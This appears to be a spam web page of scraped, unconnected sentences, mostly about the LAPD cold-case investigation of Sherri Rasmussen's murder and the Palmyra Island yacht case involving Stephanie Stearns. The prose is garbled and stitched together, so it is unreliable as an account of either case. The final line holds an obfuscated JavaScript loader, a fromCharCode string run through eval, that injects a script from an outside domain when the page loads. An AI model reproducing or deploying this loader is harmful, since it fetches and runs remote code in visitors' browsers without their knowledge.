She is a master of authentic, transparent communication strategies that deepen understanding and foster trust. Outside of Bub and the three men in his unit, the lieutenant was the first person in the department to learn that an LAPD detective had become a cold-case murder suspect. Cursed Paradise They settled on Sherri Rasmussens. WebAs Mayor, Michelle is working in coalition to deliver bold, systemic change and make Boston a city for everyone. But the way the circumstances were, there would have been too many variables involved and too much potential for screwup. Nels didnt know the ex-girlfriends name, but he knew she was a Los Angeles police officer. Without the case file, Butterworth had little information regarding theories of the case or possible suspects, and so lacked context for her discovery. A 77-year-old grandfather with a bushy white beard, Laudenberg was suspected of having raped and strangled four women between 1972 and 1975; the media quickly dubbed him the Santa Claus Strangler. The detectives possessed the killers DNA profile, but had no sample from Laudenberg with which they could compare it. Mayer made a note of the ex-girlfriend in the case file but apparently never followed up. There were some coincidences, but there was nothing definitive for us at this point. The chief decided that Bubs unit could hang on to the case until the DNA sample was obtained. When Mayer learned that one of them had brandished a gun, these unidentified burglars became the focus of his homicide investigation. Heres this woman who never said two words to me, Nuttall says. She is an actress, known for Dreamers (1999), Triple Threat (2005) and America's Most Wanted: America Fights Back (1988). Yet she couldnt find the swab in the rape kit or anywhere else. So I get up there first and I say, Has anybody ever heard of DNA? Some little retired guy raises his hand and says, Yeah, I know, I know. The cold-case unit initially consisted of seven detectives: three teams of two, with Lambkin at the helm. On July 1, 1974, they sailed, along with their three dogs and very little food, in a leaky boat for Palmyra Island. We didnt have anything to establish there was any animosity.. It evidently began in the dining room on the second floor of the townhouse, where shots were fired from a .38-caliber pistol, one of which may have hit Rasmussen. Stearns, herself, taunts her pursuers with photographs and spurious log notes. November 24, 2010, 3:30 PM. In all, Rasmussen had been shot three times in the chest, the bullets piercing her heart, lungs, and spine. Given how many suspects Lazarus had arrested herself over the years, she was undoubtedly well aware of her rights to silence and to legal counsel. We felt it best, if were going to do this and hand the package to RHD, were going to hand it to them with everything done correctly.. That is how I found out about Tom Bucy's book. Stephanie Stearns The same person had indeed raped and killed both girls. As a result, sometime in 2007, the Sherri Rasmussen case file was returned to the Van Nuys Division in a cardboard box. In 2009, for instance, the LAPDs Olympic Division recorded seven new murders, but its detectives were able to solve a total of 15, giving the unit an eye-popping clearance rate of 214 percent. When, in 2000, a $50 million state grant became available to fund DNA testing in certain unsolved murders, Lambkin and Lisa Kahn seized the opportunity to propose a joint LAPD/D.A. Nuttall phoned Bub and told him they had identified the police-officer ex-girlfriend whom Nels Rasmussen had brought up all those years before. Stearns You may occasionally receive promotional content from the Los Angeles Times. She just walked across the room and she gave me a hug. Before the detectives left, Nuttall made one last plea for the familys patience. Her boyfriend, Buck Walker, was convicted of murder in June and sentenced to life in prison. Stearns, 39, who was convicted along with Walker of stealing the couples yacht, testified that she lied to authorities to help him escape capture but knew nothing of the murder. A TV wall unit was partially collapsed. In the end, they decided to stage the interview at Parker Centers Jail Division, located on the floor directly below the Robbery-Homicide Division and the Art Theft Detail. Bugliosi's careful analysis of the tides revealed Stearns was lying about her activities purportedly occurring on the 30th and 31st of August 1974. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,32,101,108,115,101,32,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*77476456347368*/t);